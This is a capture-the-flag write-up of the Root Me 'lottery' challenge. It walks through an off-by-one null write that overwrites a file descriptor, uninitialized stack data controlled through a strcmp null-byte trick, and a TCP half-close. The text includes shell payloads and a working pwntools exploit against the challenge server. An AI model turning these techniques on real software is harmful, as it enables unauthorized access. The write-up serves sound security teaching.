Root Me lottery
We are given the C source code of a program to exploit. It is compiled as an AMD64 executable for Linux.
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define RNG_FILENAME "/dev/urandom"
#define PRIZE_FILENAME "flag.txt"
#define DEFAULT_TICKET "ROOT-ME-DEFAULT-LOTTERY-TICKET"
typedef struct {
unsigned short age;
char terms_agreed;
char rng;
char ticket[32];
} lottery_data_t;
/* Initialize lottery */
lottery_data_t lottery_data = {
.age = 0,
.terms_agreed = 0,
.ticket = DEFAULT_TICKET
};
/* Open secure RNG source */
void loadRng() {
int fd;
fd = open(RNG_FILENAME, O_RDONLY);
if (fd < 0) {
perror("Error opening " RNG_FILENAME);
exit(EXIT_FAILURE);
}
lottery_data.rng = (char) fd;
}
/* Verify user age for legal purposes */
void verifyAge() {
printf("Please confirm your age: ");
scanf("%hu%*c", &(lottery_data.age));
if (lottery_data.age < 18) {
printf("Sorry, you are not old enough to participate...\n");
exit(EXIT_FAILURE);
}
}
/* Read user lottery ticket */
void readTicket() {
ssize_t n;
printf("Please enter your lottery ticket: ");
n = read(0, lottery_data.ticket, 32);
lottery_data.ticket[n-1] = 0;
}
/* Register a user for the lottery */
void registerForLottery() {
char confirm[64];
char* ptr;
printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
printf("~~~ Welcome to the annual Root Me lottery! ~~~\n");
printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");
printf("To participate, please agree to the terms of service by typing 'I agree': ");
fgets(confirm, sizeof(confirm), stdin);
ptr = strchr(confirm, '\n');
if (ptr) {
*ptr = 0;
}
lottery_data.terms_agreed = (strcmp(confirm, "I agree") == 0);
if (!lottery_data.terms_agreed) {
printf("You did not agree to the terms of service. Goodbye!\n");
exit(EXIT_FAILURE);
}
verifyAge();
readTicket();
}
/* Return 0 if user has a winning ticket */
int rollLottery() {
char roll[30];
printf("Checking your ticket...\n");
sleep(2);
read(lottery_data.rng, roll, 30);
return memcmp(roll, lottery_data.ticket, 30);
}
/* Give the first prize to the winner */
void firstPrize() {
FILE* prize_file;
char* prize;
size_t len = 0;
printf("CONGRATULATIONS!! YOU WON THE FIRST PRIZE!!!\n");
if ((prize_file = fopen(PRIZE_FILENAME, "r")) == NULL) {
perror("Could not find your prize. This should not happen, please contact an organizer.\n");
exit(EXIT_FAILURE);
}
getline(&prize, &len, prize_file);
printf("Here is your prize: %s\n", prize);
fclose(prize_file);
}
int main() {
setbuf(stdout, NULL);
setbuf(stderr, NULL);
loadRng();
registerForLottery();
if (rollLottery() == 0) {
firstPrize();
} else {
printf("Sorry, you didn't win anything. Better luck next time!\n");
}
return EXIT_SUCCESS;
}
After agreeing to the terms of service and sending our age, we must submit a 30 bytes lottery ticket. If it matches a randomly generated winning ticket, the server will give us the flag. We have a 1 in 1766847064778384329583297500742918515827483896875618958121606201292619776 chance of winning, the odds are not in our favour.
$ ./lottery
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~ Welcome to the annual Root Me lottery! ~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To participate, please agree to the terms of service by typing 'I agree': I agree
Please confirm your age: 77
Please enter your lottery ticket: my_ticker
Checking your ticket...
Sorry, you didn't win anything. Better luck next time!
The bug to exploit is in the readTicket
function, which reads our ticket from stdin. It does not check for the error cases (where read
returns -1), nor the case where 0 byte is read.
/* Read user lottery ticket */
void readTicket() {
ssize_t n;
printf("Please enter your lottery ticket: ");
n = read(0, lottery_data.ticket, 32);
lottery_data.ticket[n-1] = 0;
}
We will see later how that’s possible, but if read
returns 0, then the function will write a null byte to lottery_data.ticket[-1]
. Let’s see how the lottery ticket structure is defined.
typedef struct {
unsigned short age; // 0-1
char terms_agreed; // 2
char rng; // 3 <--- ticket[-1]
char ticket[32]; // 4-35
} lottery_data_t;
So, we are able to override the rng
field of that structure with a 0. That is convenient because that field is the file descriptor to /dev/urandom
that is used to generate the winning lottery ticket. If we override it with 0, the program will try to read the winning lottery ticket from stdin
instead.
/* Return 0 if user has a winning ticket */
int rollLottery() {
char roll[30];
printf("Checking your ticket...\n");
sleep(2);
read(lottery_data.rng, roll, 30); // Rolling the winning ticket
return memcmp(roll, lottery_data.ticket, 30);
}
The read
manual describes that “On success, the number of bytes read is returned (zero indicates end of file)”. So we can close stdin
to make this happen. Let’s try this in the console using a simple pipe (or by redirecting a file as input). In that setup, stdin
is automatically closed when there is no more data to send.
$ (echo -e 'I agree'; sleep 0.5; echo '1000') | ./lottery
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~ Welcome to the annual Root Me lottery! ~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To participate, please agree to the terms of service by typing 'I agree': Please confirm your age: Please enter your lottery ticket: Checking your ticket...
Sorry, you didn't win anything. Better luck next time!
Oh right, this will not work because while we can override the file descriptor by closing stdin
, we then cannot send the winning ticket… And there is no way to reopen the pipe after it was closed.
/* Read user lottery ticket */
void readTicket() {
ssize_t n;
printf("Please enter your lottery ticket: ");
n = read(0, lottery_data.ticket, 32); // Return 0 when stdin is closed
lottery_data.ticket[n-1] = 0; // lottery_data.ticket[-1] = O
}
/* Return 0 if user has a winning ticket */
int rollLottery() {
char roll[30];
printf("Checking your ticket...\n");
sleep(2);
read(lottery_data.rng, roll, 30); // Nothing happens when stdin is closed
return memcmp(roll, lottery_data.ticket, 30); // This will fail
}
Fortunately, we can exploit another behaviour of the program. Let’s read the registerForLottery
function.
#define DEFAULT_TICKET "ROOT-ME-DEFAULT-LOTTERY-TICKET"
/* Initialize lottery */
lottery_data_t lottery_data = {
.age = 0,
.terms_agreed = 0,
.ticket = DEFAULT_TICKET
};
/* Register a user for the lottery */
void registerForLottery() {
char confirm[64];
char* ptr;
printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");
printf("~~~ Welcome to the annual Root Me lottery! ~~~\n");
printf("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");
printf("To participate, please agree to the terms of service by typing 'I agree': ");
fgets(confirm, sizeof(confirm), stdin);
ptr = strchr(confirm, '\n');
if (ptr) {
*ptr = 0;
}
lottery_data.terms_agreed = (strcmp(confirm, "I agree") == 0);
if (!lottery_data.terms_agreed) {
printf("You did not agree to the terms of service. Goodbye!\n");
exit(EXIT_FAILURE);
}
verifyAge();
readTicket();
}
The terms of service verification first calls fgets(confirm, ...)
, which stops reading at the first line feed. Then it compares the input with strcmp
, which stops comparing at the first null byte. That means we can actually agree to the terms of service with other inputs such as I agree\x00AAAAAAAAAAAAAAAAAAAAA\n
.
How does this help? Since confirm
is a local variable on the stack, we have some freedom to write some data on the stack in the function stack frame. This will not overflow anything, but there is more. Check the rollLottery
function again.
/* Return 0 if user has a winning ticket */
int rollLottery() {
char roll[30]; // <------------ This is NOT initialized!
printf("Checking your ticket...\n");
sleep(2);
read(lottery_data.rng, roll, 30); // Nothing happens when stdin is closed
return memcmp(roll, lottery_data.ticket, 30);
}
Let’s clarify what happens in that function with our “stdin closed” setup:
lottery_data.ticket
is the user ticket, initialized to the string “ROOT-ME-DEFAULT-LOTTERY-TICKET” at the start of the program.roll
is the winning ticket, NOT initialized. It is a local variable located inrollLottery
stack frame.read
does nothing becausestdin
is closed.- Therefore
memcmp
compares “ROOT-ME-DEFAULT-LOTTERY-TICKET” with uninitialized data on the stack!
Plus, how very convenient, both registerForLottery
(where we have some stack control) and rollLottery
(where the winning ticket is unitialized on the stack) are called from main
, meaning that they will share overlapping stack frames.
After some debugging, we figure out how to cleanly smuggle data in the terms of service agreement in order to control the uninitialized value of roll
(the winning ticket) so that it matches the default lottery ticket (which is our ticket).
We can either close stdin
automatically with a pipe, or use Ctrl+D
to signal the end of stream. Both tickets have the default lottery ticket value and we win the lottery!
$ (echo -e 'I agree\x00AAAAAAAAAAAAAAAAAAAAAAAAROOT-ME-DEFAULT-LOTTERY-TICKET\x00'; echo '77') | ./lottery # First method, send everything and automatically close stdin
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~ Welcome to the annual Root Me lottery! ~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To participate, please agree to the terms of service by typing 'I agree': Please confirm your age: Please enter your lottery ticket: Checking your ticket...
CONGRATULATIONS!! YOU WON THE FIRST PRIZE!!!
Here is your prize: RM{fake_flag}
$ (echo -e 'I agree\x00AAAAAAAAAAAAAAAAAAAAAAAAROOT-ME-DEFAULT-LOTTERY-TICKET\x00'; cat) | ./lottery # Second method, send the agreement and then control the input manually
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~ Welcome to the annual Root Me lottery! ~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To participate, please agree to the terms of service by typing 'I agree': Please confirm your age: 77 <----- Sent manually
Please enter your lottery ticket: <------ Type Ctrl+D here to close stdin
Checking your ticket...
CONGRATULATIONS!! YOU WON THE FIRST PRIZE!!!
Here is your prize: RM{fake_flag}
Success, let’s run it against the remote or Docker container now…
$ (echo -e 'I agree\x00AAAAAAAAAAAAAAAAAAAAAAAAROOT-ME-DEFAULT-LOTTERY-TICKET\x00'; echo '77') | nc 172.18.0.2 1337
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~ Welcome to the annual Root Me lottery! ~~~
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To participate, please agree to the terms of service by typing 'I agree': Please confirm your age: Please enter your lottery ticket:
[hangs]
This time the program hangs instead of giving us the flag?! That is because of a difference in how we are communicating with the process.
When running echo input | ./lottery
, our input is sent through a pipe to ./lottery
, and the output is sent to our bash
process. The first one is closed while leaving the second open.
When running echo input | nc localhost 1337
, both the input and the output are exchanged through a bidirectional TCP socket. netcat does not automatically close the connection when there is no more data to send, otherwise we would not be able to receive data from the remote process… Depending on your netcat version you can try the option --close close connection on EOF from stdin
. But then the socket is closed immediately after sending data and we never receive the flag.
Is it hopeless then? Fortunately, there is one last trick. It is actually possible to close only one half of a TCP connection. This is called an “Half-Closed Connection” and is a feature of TCP. When one host sends a FIN packet, the other host can ACK without sending a FIN packet and data can still be sent in one direction. See this answer for more details. What we need then is to close the “send” direction but not “receive”.
I did not find a way to do that with my version of netcat (maybe other implementations can), but after digging a bit in pwntools documentation, we find that it is supported out of the box.
shutdown(direction=‘send’)
Closes the tube for futher reading or writing depending on direction.
Parameters:
direction (str) – Which direction to close; “in”, “read” or “recv” closes the tube in the ingoing direction, “out”, “write” or “send” closes it in the outgoing direction.
Here is the final exploit that works both for a local and a remote process.
from pwn import *
PAD = 24
p = remote("challenges.ctf20k.root-me.org 11001", 11001)
# Write the default lottery ticket value on the stack while agreeing to the terms of service
p.recvuntil(b"'I agree': ")
p.sendline(b"I agree\x00" + b"A" * PAD + b"ROOT-ME-DEFAULT-LOTTERY-TICKET\x00")
# Confirm age
p.recvuntil(b"your age: ")
p.sendline(b"77")
# Shutdown the write channel of the connection so that read() returns 0
# This overrides the rng file descriptor and we win the lottery
p.recvuntil(b"your lottery ticket: ")
p.shutdown('send')
# Receive the flag
p.interactive()
# Checking your ticket...
# CONGRATULATIONS!! YOU WON THE FIRST PRIZE!!!
# Here is your prize: RM{90%_of_CTF_addicts_quit_right_before_they_are_about_to_win_the_flag}
One final note, you might have noticed the unusual -t 5
parameter in the socat
command executed by the Docker container. This is required for the challenge to be possible. By default, socat
will automatically close the other direction after 0.5 seconds but the lottery process waits 2 second before verifying the ticket. We would never receive the flag without a larger timeout.
-t<timeout> When one channel has reached EOF, the write part of the other channel is shut down. Then, socat waits <timeout> [timeval] seconds before terminating. Default is 0.5 seconds. This timeout only applies to addresses where write and read part can be closed independently. When during the timeout interval the read part gives EOF, socat terminates without awaiting the timeout.
CMD socat -t 5 TCP-LISTEN:1337,reuseaddr,fork EXEC:/challenge/lottery